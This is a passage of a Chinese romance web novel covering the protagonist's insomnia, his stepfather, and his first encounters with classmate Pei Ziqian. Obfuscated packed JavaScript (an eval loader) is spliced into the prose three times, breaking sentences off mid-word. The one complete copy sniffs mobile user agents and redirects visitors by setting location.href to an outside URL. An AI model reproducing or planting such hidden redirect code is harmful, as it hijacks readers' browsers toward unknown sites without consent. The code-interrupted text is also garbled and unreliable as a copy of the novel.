比如刚开始时大姐张碧云多次提出要帮助卞皎偿还债务,都被他委婉拒绝,还是后来要债的骑着自行车到他家楼下摸点,问路时正巧碰上了从楼上下来的张碧云,卞皎这才被她强硬地送进了那个刘成曾见过的江景大平层。 张碧云说这是你爸当初送给我的,他离婚时净身出户,这套房子我现在还给他。 卞皎一开始只答应在里面住着,直到后来某一段时间,他突然像是急需一大笔钱,张碧云这才找到机会还这笔“债”。一直到如今,红姨张红霞其实都并不知道卞皎的经济状况到底如何,但无论如何,还欠着债是一定的。 康复治疗的费用成天的烧着,旧账都快欠成了无法痊愈的痼疾。一切压在一个二十岁出头青年人的肩膀上,本该是如山倒般的噩梦,却因为青年人的坚毅,居然显得稀疏平常。 从认识他来,红姨就只见他掉过两次眼泪。 第一次是初见那次,呼啸的窗台上,第二次就是康复病房里。他蹲下,深埋着的头发下,有透明的泪珠掉落在地板上。 这眼泪实在太过陌生,令红姨一时呆在原地,不知道该如何动作。 直到腰侧传来手机的震动,她回神拿出看到来电显示的刘成二字,才恍然意识到刚刚卞皎的手机也在响,只是他们谁也没去注意。 接通电话,刘成说:“《南城往事》的剧组联系了,说明晚吃顿饭。” 他的声音和收到慈善晚会邀请的那天一样,充满欣喜。 “我刚跟小皎说了那个张明德被换走的事,这电话就立马来了,姐你说这角色我们是不是拿定了?对了,小皎他人呢,怎么不接电话……” 6.N-卞皎3 卞皎有习惯性失眠,很多年,具体多长,他没有记过。 医院后的第二天,刘成发来消息说晚上八点宿舍楼下接他时,窗外天光熹微。清晨露水冰凉掉落,他睁着眼睛侧躺在床上望向窗外,仿佛听见啪嗒一声。 又是一整晚没有睡着。 过去睡不着觉时,他会选择吃佐匹克隆,从一开始的服药后隔天很困,到现在的两颗药无法起效。其实他早该去找医生换药,可为什么拖到现在还没有去,他也说不清楚,就像说不清楚为什么在病房里突然哭了一样。 他唯一能说清的,或许只有自己今夜为何失眠。 按开床头那盏暖黄色的台灯,木质底座旁放着熄屏的手机,屏幕反射出灯泡的光芒,一瞬间有些刺眼。 当年卖掉老房子,卞皎什么都没带走,只带走了这盏台灯。 才定居首都的那个月,他常在台灯下点一支摩洛哥薄荷茶味香薰,香薰的扩香能力很强,扑鼻的清香仿佛揉碎一包薄荷糖。按说这样刺激的香味并不合适放在床头助眠,郑怀远当时说过许多次,但卞皎偏偏离不开它。 幽暗的烛光侧映着他的睡颜,唇角含着很浅的笑意,那时正是高考前一个月,郑怀远见他既然能在这抹薄荷之下睡得这样平静,就没再多说什么。 谁知高考结束后,卞皎对这抹薄荷的追求莫名变得强烈起来。三盏五盏地放在卧室,也不睡觉,就坐在那里盯着一点一点的火光摇曳。 郑怀远光看着那一片墨绿上的橙红光点就觉得骇人,见一次扑灭一次,他扑灭时卞皎也不说话,就静静看着他,可不等他走出房间,就又会听见点火器的声音从身后响起。 扑灭一次卞皎就点燃一次,点燃一次他就又扑灭一次。 最后郑怀远才反应过来,收走了他的点火器,连同房子里所有能点火的物品都收走了。 本以为这样能结束这场献祭仪式般的闹剧,却没曾想一天夜里忽然闻到浓烈的薄荷味,通过鼻道直冲脑门。郑怀远一下就清醒了,起床找了一转,最后停在了厨房门口。 厨房没开灯,柔光色地板砖被摆满墨绿色的香薰瓶,竟然找不到一个地方下脚。卞皎就坐在灶台旁边的地上,像是刚刚听到动静一般抬头看向他,火光在他脸颊上飘忽晃动。 卞皎只没有表情地盯着他看了好久,然后说:“爸,我睡不着。” 那一瞬间,郑怀远甚至忘记了开灯。 第二天郑怀远就带他去看了医生。医生遵循卞皎意愿要求他回避,他皱了下眉转身走出去。 关上门前,他隐约听见卞皎终于开口。他的声音又轻又弱,郑怀远立时想到了家里那堆不断被点燃又扑灭的香薰,卞皎的声音恰似那轻易能被吹灭的烛点—— “我害怕做梦。” 郑怀远虚掩上门,靠在边上。医生的声音传来: “嗯,害怕梦见什么吗?” “不,”卞皎说,“不害怕梦见。” “我只害怕……梦不见。” - 晚七点四十五。 卞皎准时走下宿舍楼。他习惯提早十五分钟,刘成也有这样的习惯,于是一下楼他便坐上了刘成的副驾。 刘成已调好导航,目的地是一家私房菜。扣安全带时,刘成说:“送你过去了,可能就没法送你回来。你倩姐急性肠胃炎住院输液,我得去守一下。”倩姐就是刘成的女朋友。 卞皎点头说好,问倩姐没事吧,刘成说输完液应该就没问题了。 车子启动。 刘成忽然说:“我才知道,《南城旧事》拍摄地改成了你老家。” 卞皎的眼神动了动:“哪里?” “阳市啊。”刘成奇怪地看了他一眼,好像在说怎么连自己老家都要问哪里。 卞皎张了下唇,半天后冒出一个:“……哦。” 然后闭上唇不再说话,狭小的车内空间,只剩下刘成机械的导航提示女音。 中秋一过,秋意渐深,刚起步不到五分钟,雨点便滴滴答答掉落。 伴随着雨刮器规律的响声,卞皎微微侧头靠在椅背上,竟然感受到渴望了一天一夜的睡意。 不知不觉他闭上了眼睛,迷离惝恍间,他好像闻到了一阵薄荷清香。 他的眼前忽然闪过几个小时的白天,自己疲惫地靠在床上浏览娱乐新闻。新闻的内容无非就是某某明星恋爱、某某明星结婚,偶尔能令人提得起兴趣一点的就是谁隐婚生子,或者谁又犯罪入狱了。 这些仿佛有套路的新闻在某些人眼里如同能令人生瘾的安非他命,不读一读一整天都无法精神,然而对卞皎这种不感兴趣的人来说,这些新闻却无疑是最为催眠的,家长里短,用来助眠再好不过。 但今天,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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在将要碰到时,却又猛然收回。 手掌颤抖,久久不息。 …… 无可厚非,在刘成车上睡着的卞皎,这一次终于做了一场旧梦。 是他曾对医生说害怕梦不到的那场旧梦。 梦里有和前几夜中秋一样的玉盘秋月,皎白月光。熟悉又陌生的身影逐渐清晰,他身后触感冰凉,被人抵在门板上。干燥的手从T恤里揽住他后腰,少年人的吻青涩生硬却异常强势。没有任何技巧,鼻尖触碰,牙齿会嗑在一起。 那吻一路落下。 梦里卞皎仰着头想,他居然在亲自己。 裴子骞,居然在亲自己。 真是……胆大包天。 7.P-是他1 高二这年,卞皎暑假跟着继父从省会回到家乡祭祖。 这是他第一次来到阳市。 继父郑怀远为阳市生人,对这个不怎么富裕的家乡本没什么感情,但由于常年在外发展,父母又于几年前亡故,因此一回到故地,只觉得处处牵动着回忆,难以割舍。 几个月前,三两好友一见面,郑怀远发现年少时期的四五兄弟如今竟都发展不错,经济下行的年份,小县城里能赚的竟不比省城里少。于是当即拍板,动用关系,把卞皎的学籍迁到了阳市一所省重点中学里。 这一年,裴子骞还是阳市一名普通的高中生,那时的他家境普通,不爱说话,卞皎对他毫无印象。 后来卞皎才逐渐注意到,传说中沉默寡言的年段第一居然留着一头长头发。 发长快到脖颈下半段,扎起时是一个小揪,发圈用的和校服同一种天蓝色,背对着人时,有点小嚣张。 一开始,卞皎觉得有些意思。 他是从省城里刚来的转学生,一直听说阳山中学校风死板管理严格,却没想到在学生发型管理上竟然如此开放,一点也不比省城差。了解一番后,他无奈发现这年段第一性格似乎十分内向,极不合群,于是也就只能把认识对方的想法暂时放到一边。 直到某一天,卞皎在年级办公室照例挨训。 那时正值中秋假期前,烘热潮湿一周的阳市终于迎来雨点。淅淅沥沥雨声之中,面容陌生的班主任列到他连续请假超过四天的大罪时,传说中的年段第一正巧抱着一叠作业本从他当面走过。 卞皎专程瞥了一眼,瞬间就兴趣大失。 不过尔尔。 发型前卫倒是不假,就是正面太过逊色了。分明挺高一个个子,非要戴一副死板的眼镜,头发也快把上半张脸遮挡完了,卞皎第一眼几乎什么也没看清。 正是爱靠外貌判断别人的年纪,他只看了两秒钟就移开了视线,转头朝班主任一笑,白净的笑颜天真无邪: “老师,我有错,这样,您直接请我爸来吧。” 班主任登时噎住。 这是什么话啊,请家长?还是主动要求?难不成觉得他不敢? 不怪班主任内心敏感。卞皎虽为转学生,但是新学期开学不到两个月,几乎整个高中部都知道了这名插班生的存在,无他,只因每天放学时校门口停得最近的那辆豪车准是来接他的,而且周周不重样。 阳山中学虽是公立重点中学,学生大部分是普通家庭,其中却也不乏塞钱进校的有钱子弟,有对比就有差距。高中生们又刚好是一个初懂人情世故的年纪,表面上不谈家境,却总有那么些人一双眼睛紧盯着别人的衣着鞋履估价下碟。 因此卞皎的豪车不可谓不拉风,他的家庭背景也一度成为某些寝室卧谈的话题。 有人说卞皎父母是公家人,不过这种说法被高调的豪车给迅速否决,即刻又有人说他母亲早去世了,爸爸是首都的二代,而他则自然就是传说中的三代,因为某些无法言说的原因才躲到西南这个小县城来避避风头。 这个说法听起来比较靠谱,尤其是卞皎才来学校那天坐的那辆雷克萨斯上的就是首都的车牌,更是一种变相的坐实。不出两天,高中部的富二代转学生其实是首都太子爷的消息又传遍了半个校园。 一个周末过去,初来乍到的卞皎总算是在后桌的嘴里听说了自己家里有皇位要继承的消息。 对此他仅仅一笑就过,不置可否。 每到八卦效率奇高,于是下节课上课的时候,“首都太子爷”默认传闻的消息又传遍了周围几个班级。大家的理由很简单,既不承认又没否认,那不就是默认吗。 然而卞皎还真不是默认。他仅仅是懒得辩白。 他家没有皇位,他也毫不享受这种深陷舆论中心的嘈杂,只是按以往经验来看,他知道只要自己在这个学校读一天,闲话就一天都不会少。所以,没必要辩白。 自母亲再醮起,卞皎就跟着迁来走去,初一那年妈妈去世后,他更是跟着郑怀远从首都不远万里来到西南。 经历过语言、生活环境的翻天覆改变,他对于这种事情已然习惯得不能再习惯,仅半年不到时间就学会了当地方言。然他虽会说,却不会轻易张口,因此一口熟练的普通话加之那口音里夹杂的首都腔,足以让本地的同学对他的身份家境猜测不已。 尤其转学到阳山中学,每天晚自习后穿着蓝白色校服的高中生如鱼贯出校门,都会看到传说中那个新转学来的首都二代踩着路灯坐上路边第一辆车。有时是奥迪S8,有时是揽胜L6,车牌省城、本地都有,有时还是首都牌照,虽说阳中门口不乏豪车,但像这样一天一个样的属实少见。 因此,卞皎转学还不到一个月,连校门口轮班的保安队都已全部熟识他的脸庞。 而卞皎本人对这样的传闻不置可否的原因,正是在郑怀远的高调做派上。 郑怀远并非传言中的权贵,不过是年轻时候在首都入赘了个好媳妇,受到老丈人帮助良多。有话说富过一次,再富不难,离婚后虽然净身出户,凭借积累起来的人脉和见识郑怀远很快便在南方东山再起。多年来,他嘴上一直说着“小富即安”,实际上的做派却正与此相反,尤其回到阳市之后更是如此,富贵归乡不愿锦衣夜行的想法是一部分,对卞皎的宠溺也是一部分。 用他的话讲,卞皎是被从小宠到大的,不能亏待在自己这里。 卞皎打长在南方沿海,生父早年出轨离家,于是随母姓卞姓,读小学前都是亲生祖母在带,被宠得裤腿上泥点子都不会沾上一点。妈妈去世后郑怀远对亡妻难以割怀,半死梧桐下发誓此生只会有卞皎一个孩子,当做亲生,绝不再娶,故而卞皎的性格,说小一点是目中无人,说大一点,算是无法无天。 学校的课看心情上,请假半个月起步,刚入学这个月连着飞了四次首都,第四次是被郑怀远在首都的家里卧室逮个正着。 左手放着一盒点心,右手拿着笔在平板上画画。抬头看见郑怀远,第一句话就是:“老郑,我想学美术。” 郑怀远气个半死,上前一看平板屏幕里画着一只绿色的物种不明的东西。 问卞皎这画的是虫吗,卞皎白他一眼说,什么虫,这是恐龙。 郑怀远自诩是一位开明的家长,知道因材施教的道理,但他属实没看出来自己这位儿子到底是个什么材。上个月,卞皎拉着他去琴行说要学吉他,他当即就买了一把七千多的GSmini,结果人就摸了一周就甩在一边了,家里的什么碳纤维球杆啊陆冲滑板啊也都是这么来的。 把平板丢一边,郑怀远问:“你在哪画不是画?非要坐三小时飞机到这儿来画?” “不是啊,”卞皎眨着眼睛看他,指了指一旁,“我是来买这个的。” 郑怀远往旁边一看,这才看到他手侧那一盒红色包装,里面的点心被他吃得七零八碎,再看回来时,郑怀远沉默几秒叹了声气,彻底被这双澄澈水灵的眼睛击败了。毕竟普天之下,没有父母会抨击孩子的好胃口。 当天下午,郑怀远提溜着卞皎的领子外加四大盒糕点就打飞的回了阳市。 卞皎确实无法无天,但毕竟是祖母带大的孩子,再无法无天也做不出什么伤天害理的事情,放在大人眼里也不过是贪玩骄纵一点,没什么大不了 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“请家长是吧?”班主任拿出手机:“好,我就请你爸来问问这是怎么个事儿!” 卞皎没说话,只眨巴眨巴眼,像是不懂班主任突然的坏语气是从何而来。 电话拨通,班主任按了扩音丢在桌上,嘟嘟的声音顿时响彻不大的办公室。 就这样嘟了快一分钟,自动挂断了。班主任凑上去看了眼,又拨通。 卞皎听着熟悉的嘟声,表情变成一副百无聊赖,仿佛在说我就知道。就这么来回又嘟了一次,班主任抬头看了他一眼。这一看不得了,他当即把卞皎的一脸了然给解读为有恃无恐,于是火冒三丈,锲而不舍地再次按下了拨通键。 嘟声再次伴随着窗外雨声,响彻整个办公室。 何苦呢。卞皎无声叹了口气,他都听累了。 双手揣兜,他往身后的办公桌后靠了一步,想倚上去。然而还没靠到桌子僵硬的边线,却碰到了其他的触感,像是撞到了一个人。 还未反应过来,下一秒啪嗒一声,清脆的书本掉落之声从身后传来。 卞皎连忙回头,看到地上那一摊散落的作业本时,他嘴里一句对不起呼之欲出,下一瞬,却又吞回了喉间。 蹲在地上捡作业本的那个身影,应该就是他刚刚撞了下的那个人。 对方穿着秋款的蓝白色校服,袖子被挽起露出一截小臂,伸出去的手腕处骨节分明。 是侧蹲着的,因此卞皎只能看见那只手,以及那被发丝遮挡了大半的侧脸。流利的下颌拐点很高,发丝下的鼻梁隐隐约约可见高挺,还有脑后那一个小揪,扎着卞皎并不陌生的蓝色发圈。 像是感受到了卞皎的视线,那个人的动作停下,忽然抬头了。眼珠漆黑,像玻璃珠。 对视几秒,卞皎愣了下,这才意识到原来对方是把那副眼镜取掉了。 是他……他叫什么来着。 好像是,裴子骞? 仅仅和卞皎对视了一秒不到,裴子骞就重新低下了头,卞皎就眼看着那只手臂伸到自己脚下,捡起地上散落的最后一本作业。 当他反应过来微微俯了下身时,对方已经站起来,转身走到桌子的另一边垂眸整理作业本。直到抱起那叠作业走出办公室门,他都没再抬头看卞皎一眼。 雨丝通过洞开的门融进空间里,扑向人的面鼻,蓝白色背影转瞬消失在阴雨潮湿的走廊之中。 卞皎视线垂落,盯着门前那片被打湿的石质地板许久。分明还在罚着站,这一刻他却冒出一个不合时宜的想法—— 原来这裴子骞的眼睛,还挺好看的。 8.P-是他2 那天的电话足足打了一个半小时,打到班主任那款五年前的小苹果6电量掉落到个位数。最后插着数据线又倔强地响了二十多分钟的嘟音,才终于接通。 那天卞皎也没继续上课了,郑怀远一接通电话后半小时不到就赶了过来。 他胳膊下夹着一个皮包,身上有烟味和酒气,显然是刚从饭局上下来,手里不知道提溜着一堆什么。 上课时间,办公室少有的只有班主任一位老师。 郑怀远一进门,就瞪了眼卞皎:“外面站着去。” 班主任还没来得及说什么,卞皎一听这句倒是立马转身走出去,一反常态的听话。 可不听话吗,在办公室站了那么久腿都酸了,他巴不得出去活动活动呢。 办公室门被掩上,模糊的谈话声从里面传来。一开始还能听见一点班主任充满怒意的声音,后来逐渐消失。再到后来,竟然传出了几声笑声,卞皎差点怀疑是自己耳朵出问题了。 鬼知道他们在办公室里说了什么。 反正当卞皎蹲在走廊地上,数到地板砖上的第九十二个黑点的时候,门才终于开了。这时候走廊外的天已蒙黑,他抬头,只见门框里的郑怀远盯着自己,一脸板正。 “小兔崽子,不上课想上天啊?”他拍了一张便利贴到卞皎额头上。 卞皎头发是带点棕的黑色,额发被浅蓝色便利贴弄得凌乱,他抬手抓下来,纸面上面的字体列得密密麻麻好似状书,仔细一看,才辨认出来全是作业。 “学也不上,作业也不写,赶紧去教室里把作业拿着,”郑怀远说,“中秋假期哪都别去了,就在家给我好好写作业。” 卞皎立马站起来:“凭什么?” 今年中秋和国庆正好撞在一起,据说阳中给的假期有整整六天时间,郑怀远早在暑假时就说好带他出国去欧洲玩一趟,怎么能改成写作业了。 “凭什么?”郑怀远看着卞皎这副理直气壮的样子,真是被气得头疼,“凭你收假回来要月考!你想考零蛋回来气你老子吗?” 最后卞皎是被郑怀远威逼利诱才送回了教室。 他承诺说欧洲之行不会泡汤,只是推迟,寒假一定。他还说,卞皎现在的成绩实在太落后了,他给卞皎请了一个家教,只要他能每周乖乖上课,期末年级排名上升一百名,他就带他去买一匹马。 卞皎这个月心血来潮的兴趣正好在马术上,跟郑怀远提过好几次想要马场里的一匹盎格鲁。郑怀远之前拒绝,说你哪一次不是买着玩,之后碰都不碰一下了? 卞皎就说这次真的不一样。 他说老郑你去看看那匹马,它的眼珠像黑玻璃珠一样,像那个什么词……眸若点漆,对,眸若点漆!就是眼珠子像黑色的漆一样你知道吗…… 郑怀远还是不同意,他知道卞皎其实对马术并没有多么大的热爱,也知道他就算热爱也绝对没有恒心,仅仅是如之前想要吉他、钢琴、全套的滑雪设备一样,他只是想要一个,没有就心痒。 所以眼下这个条件对卞皎来说堪称拿捏。 果然,卞皎二话没说,转身就朝教室走。 他乖乖到没坐过几次的座位上整理桌洞里的那一堆作业。郑怀远则在原地摇头,感叹了一句小孩子就是好骗,然后下楼去校门外的车上等他。 作业又多又杂,待卞皎整理好出教室时,整栋教学楼都没什么人了。 其他的教室都门窗紧闭,一片漆黑。他于是退回来,研究了一下教室灯光的开关,关掉灯、窗子和门,这才捏着那堆卷子重新朝楼道走去。 后天就是中秋,九月的天已经逐渐转凉,他只穿了一件夏季校服,傍晚的风吹得短袖贴着肌肤轻响。月亮和路灯散发着唯一的光亮,路过最后一间教室快到楼道时,卞皎忽然停下步子。 后退两步,他倒了回来。 怎么有光点? 眉间微微皱起,他转过头朝一片乌黑的教室里直直看去。 他没有看错,真的有光点。 透过紧闭着的窗户玻璃,卞皎清楚地看见在教室的最深处亮着一抹微弱的光点,明明灭灭,橘红色的。他一眼就分辨出来,是烟。 教室里有人关着灯抽烟。 借着微弱的光线,班级牌上的文字显露眼前。高二A部十一班。他入学第一天就听说过,这是理科最好的班级,几乎包揽了每次大考的年级前三十。 屋内抽烟的人的面孔隐在黑暗里,无法看清,只能看见一个大致的身体轮廓,烟点很高,说明对方是站着的,有可能是靠在桌子边上。 卞皎盯了几秒,瘪了下嘴。看来学霸压力大也会抽烟啊,跟老郑一样。 无声啧了一下,他继续朝楼道走去。 刚走了没两步,眼前忽地闪过一阵白光,扭头才发现原来远处有一个保安拿着手电筒,正在一间一间地检查教室,还有三间教室的距离就要走到楼道这边。 卞皎收回视线,走下一阶楼梯。 只是下一步还没迈出,他却又重新走上来,像是决定了什么,走回到方才那间教室前。 淡淡的烟味从窗户缝里传来,是一股很醒神的气味,卞皎一时分辨不出来这属于什么味道。敲了两下窗,他用不高不低的声音对准窗缝:“保安要来了。” 那抹橙红色的星点立时没再移动。停在半空,却保持明亮。 卞皎等了两秒,见烟还没熄,不知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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脑袋顶上的声控灯已经熄灭,只有走廊外的路灯有些许光亮,如同光晕,卞皎眼睛一眨不眨地盯着楼道最上方,他感觉自己的耳膜上竟有些扑通扑通的响跳,仿佛楼上走下来的不是什么抽烟的人,而是那匹他最想要的盎格鲁马。 一双白色运动鞋出现在视线,来了。 卞皎看见一个很高的身影,穿着一整套校服,抬起视线,他借着路灯的光线努力朝对方脸上看去。 第一瞬间,他只注意到对方的头发很长,发尾有几缕都快齐肩,额前的发丝衔接到挺拔的鼻梁。第二瞬间,他才注意到那发丝之后的眸正半垂着,隔着一个楼道的距离,同他对视,目光看不清。 一道光线忽然闪来。 “喂,干什么的!”保安的声音如惊雷响起,整个楼道的声控灯光霎地亮起。 一瞬刺眼白光后,卞皎看清了那双眼睛,因为那个人在这一秒朝他跑来,校服外套带上风。 那双眼睛居然真的黑得像玻璃珠,真的像极了那匹盎格鲁马乌黑深邃的眼睛。 那个人牵上他的手腕,眸若点漆,声音低低:“卞皎,跑。” 9.P-是他3 卞皎被握住手腕,带着跑起来。 太过突然,他人还没有反应过来,双腿就已迈出许多步下了楼梯。左手上的试卷本就没有整理好,边跑边掉,飘在风中。 保安的脚步一开始笃笃地在后面紧追,后来跑到学校半山腰时,就明显被甩远了。卞皎耳边是呼啸的风声,直到最后在环校公路上停下,才被胸口一泵又一泵的心跳取代。 他撑着膝盖,埋头呼吸几下,然后回头确认保安没有跟来,最后才看向站在自己身旁的人。那个人明显也跑累,蓝白色外套被脱下搭在肩膀上,胸口缓慢起伏,感受到他的视线朝他看来。 下了一天的秋雨早在不知什么时候停下,整条柏油路都被路旁的桂花树掉落的花瓣铺满,仿佛要潮湿到下一个秋季。 卞皎感觉夜风忽然一下吹得好猛,好像又吹落了几朵桂花。 对方的头上平添了几颗浅黄的细碎花瓣。 “你……”卞皎怔了一秒。他看着对方漆黑的眼眸,竟然半天想不出来该说什么。对方却也不急,就那样站在那里,仿佛是在等着他说话。 最后卞皎盯着那双眼睛钝了好久,终于没头没脑说了一句:“你,居然抽烟。” 雨气夜风徐来。 对方的眼神动了一下,映着路灯,眸底深杳,看不出什么意思。良久,才启唇:“跟你有关系吗?” 声音又被一阵风吹过,卞皎一下被问住。 有关系吗? 没关系。他只是听说过这个人,知道他叫裴子骞,他们并不认识。 不过这是什么态度?卞皎有些不爽,他觉得自己并没有说什么不好的话,只是陈述了事实。他于是梗了下脖子提醒:“我刚刚帮了你。” “哦,”裴子骞表情丝毫未动,说,“谢谢。” 他的嗓音干脆,和秋潮的夜有些不符,但却莫名融合。 也许是因为他说完之后转身就走,这一点和说停就停的秋雨完全一样,总之不剩余地,只会留给卞皎一个斑驳的雨痕或者模糊的背影。 卞皎这下彻底愣在原地。他不明白这人什么意思。 夜风飘过,又一阵桂花雨洒,他立在原地没动弹。眼看着裴子骞那瘦高颀长的身影真的朝着坡下校门走远,一点都没回头,白色校服短袖变成校园灯光里一个不大不小的斑点,他才终于缓缓皱起眉。 直到一株桂花在他头上轻砸了一下。 “想什么呢。”开车的郑怀远把桂花枝丢他怀里:“我看你出校门起就呆呆的。” “……嗯?”卞皎回神,眉间松开一些。怀里的桂花树枝,黄色小巧的花瓣散了一身,他问:“这哪来的?” “还能哪,你们学校摘的。” 卞皎闻言捏起一小粒花瓣,细细打量。他的瞳孔映照着车窗外的街道霓虹,不知道又在想什么。 好半天后,郑怀远才听见他小声嘟囔了一句:“好不文明。” “嘿,怎么说你爸呢?”郑怀远拨动转向灯,边打方向盘边说:“我交那么多学费,摘枝花还不行了?不是号称全西南最长桂花大道吗,也不差这么一枝花……” 打回方向盘,他忽然转头看了卞皎两眼:“不对啊。你作业呢?” 卞皎登时像被触发关键词般僵住。 作业?他还真得回想两秒。 记忆中那叠试卷早已边跑边洒,灰白的纸张飘在夜色校园半空,透过路灯灯光扮演月亮,不知道飞到哪一棵树下了。背后还有保安紧追的叫嚷声,而身前牵着自己奔跑的衣角翻飞。 对了,还有桂花雨洒。 明明一切都在不久前发生,但莫名就有些像做梦。 该怎么把这一切告诉郑怀远。 沉默几秒,忽然卞皎就启唇,鬼使神差模仿记忆中那语气说: “跟你有关系吗?” 立时郑怀远就把车刹到路边。 卞皎被安全带绷了一紧,瞪大眼睛,显然是是才反应过来自己方才说了一句多么大逆不道的话一样。如果不疼,他恨不得扇自己的嘴一下,再去扇那裴子骞的嘴一下。 “作业……”现下他只能认错,“作业就在兜里呢。” 郑怀远问:“哪个兜里?” “裤兜。” 郑怀远闻言,居然思索了一下。然后还真信了一般,打量了一转卞皎的校裤,觉得神奇。 “能装下?”他重新启动车,问。 最后还得是卞皎聪明才智紧急上线,谎称大部分作业都在老师建的班群里,以线上文档方式,要自己打印,才勉强蒙混过关。但实际上,他连班群都没加。 其实他和郑怀远的相处方式一向这样。一个是对老父亲说谎毫不脸红的小孩,一个是对小孩的说谎看破不戳破的老父亲,某些时候,这两种处境甚至可以对调,但仅仅存在于某些时候。 至少在十六岁这一年,卞皎还只是一个要考虑如何圆回上一个谎的小少年。在他的世界里,如果因为说谎而丢掉欧洲行的机会,等同于塌了天。 于是这天夜晚,卞皎换下了校服,穿上浅蓝色睡衣,躺在床上抱着枕头出神。 原本他是在思考明天怎么对付郑怀远的作业督查,一闭上眼睛,却就又无端想起环校公路上,那个身影头顶上的几粒花瓣,仿佛还有桂花花香萦绕鼻间。 迷迷糊糊间,他听见客厅门响,应该是郑怀远又出门去,参加不知道和谁一起的应酬。 都说日有所思夜有所梦,这一晚,卞皎梦见自己又回到了学校里,和裴子骞对面站着。 这一次他依旧“你”了很久,但最后没说那句“你居然抽烟”,也没有如回家时在车上想的去扇对方的脸颊一下,抑或是更重地像电视机里所谓的男人一样给上一拳。 他仅仅是在那阵风吹过后,慢慢走上前,然后轻轻伸出手,取掉了裴子骞头发上的那几点米黄色的桂花花瓣。 “我今天才知道,”他说,“原来桂花花瓣,是圆的。” 第二天早,卞皎是被郑怀远叫醒的。 他有起床气,看了眼时间竟才上午八点,立马闭上眼睛用被子捂住耳朵。 郑怀远说小祖宗你连早饭也不吃了?说完一阵塑料袋响,有碗被放在书桌上的声音。 是卞皎最爱吃的粉。 半晌后,床上那个小祖宗才终于掀开被子。他直直瞪着天花板好一会儿,然后坐起来质问站在门边的郑怀远,整个人气鼓鼓地:“你是起床后才去外面买的,还是昨晚出去,到现在才回来?” 不需要回答,虽然郑怀远穿戴整齐但却满脸困意,答案显然是后者。 然郑怀远也只啧了一声,根本也没准备给答案:“小屁孩快起床吃饭,问这么多干什么。”他转身要带上门,走一半又退回来说:“对了,九点家教要来。” 卞皎的气来得快也去得快,也许是尚在回忆昨夜的梦境,这时气已自动消了一半。顶着一头鸡窝发正下床穿拖鞋,他闻言抬头:“真有家教啊?” “对啊,”郑怀远说,“这不是助力你买马吗?进步一百名就能有,不想要了?” 卞皎闻言沉默。挣扎了一下,他说:“我就不能上网课吗?” “免谈,”郑怀远一挥手,满脸带着骄傲的邀功,“爸给你找的可是C9高材生,专补物理,课时费五百一小时,一节课就是一千,网课哪能跟这个比。” 卞皎看着郑怀远那副样子,好像那个传说中的C9高材生才是他孩子一样的自豪,顿时心里烦得不行。 “男的女的?”他问。 “女孩。”郑怀远说。 卞皎已经到桌前拿起筷子,直接夹起一口粉,热气腾在他白净的脸上:“那你不怕我早恋啊?” 郑怀远笑了下,把这个小儿子盯着。只见那头顶的呆毛既稍息又立正,不管横看竖看都觉得惹人爱,稀罕得不行。 就这小模样,还早恋呢,只有被人吃干抹净的份。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15223897|165050||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “那可太怕了,”郑怀远转身关门,关门前只丢一下一句,“所以,骗你的……” 说完门就阖响。 留下卞皎兀自抓着筷子,吃了一口粉。 嚼了一会儿,那腮帮鼓得满满,小祖宗才后知后觉反应过来自己好像还没刷牙。又嚼了一会儿,才再反应过来郑怀远的话。 哦,那么那家教不是女生。 那就是男的。 郑怀远说课约的是早上九点,卞皎八点二十四吃完早饭刷了个牙,回房想继续睡个回笼觉,刚躺下,却听见门铃响了。 他翻身捂住耳朵,不管,睡都睡了。 隐约听到郑怀远的脚步声去开了门,然后就是一些远远的交谈声,听不真切。 卞皎正是睡眠好的年纪,特别快就进入了梦乡。 这次的梦里,他先梦见了心心念念的那匹昂格鲁黑马,郑怀远给他买下来了,他喜得抱着马脖子不撒手。高兴着高兴着,裴子骞的身影却又突然出现了。 对方这次没再穿着那套蓝白色校服,头发也扎起来。卞皎忽然就感觉自己好像是坐在地上的,因为裴子骞竟然是以一种居高临下的角度看着自己。那双黑眸淡淡的,以一种接近于慢镜头的极缓速度启唇:“卞皎,跑……” “……饺子?小皎?”裴子骞的脸令人惊吓地变成了老郑。“卞皎!” 卞皎迷迷瞪瞪睁眼,看到郑怀远站在自己床前,才意识到刚刚是在做梦。 “人都到了,不是给你说了九点要上课吗?”老郑说着,往卞皎怀里塞了一堆东西,“快起来见一见家教老师,人比你大两岁呢,要叫人哥知道了没……” 卞皎挣扎着坐起来,好像还有点分不清白天黑夜东南西北。 听到郑怀远的话,他想什么家教鸟叫乌鸦叫的,人都还没睡醒。然后又想,完了,自己现在这个样子怎么见人,头发一定能供母鸡下蛋了。低头去看自己手里的东西,是一本练习册外加一根圆珠笔。最后,卞皎才慢半拍地发现,自己房门前已经站了一个很高的男人。 他朝门看去,视线聚焦几秒,接着惺忪的睡眼慢慢瞪大—— “裴,裴……” 手中的笔滑掉,滚落在地发出啪嗒一声。 “对,你怎么知道姓裴,我给你说过?”郑怀远捡起来,走到男人身边。他朝卞皎介绍,“这就是你接下来的老师,清大在读高材生,裴子骞。来,叫裴哥。” 卞皎一脸懵然,就看见裴子骞也看向自己,然后缓缓地、四平八稳朝自己点头。 他的头发又扎起来了,眼镜也戴上了,看起来还真人模狗样的,卞皎差点真有点恍惚,没明白现在是怎么个事儿。 什么清大,什么裴哥的。 他刚想开口说这是裴子骞啊,哪来的高材生,明明和我一个年级的啊。不过下一秒,就敏锐地看到裴子骞的左手握紧在腿侧,那发白的骨节昭示着对方此刻的内心,远没有表面上的那么平稳。 卞皎忽然就吞下要说的话,定定看了几秒那只手,片刻后笑了。 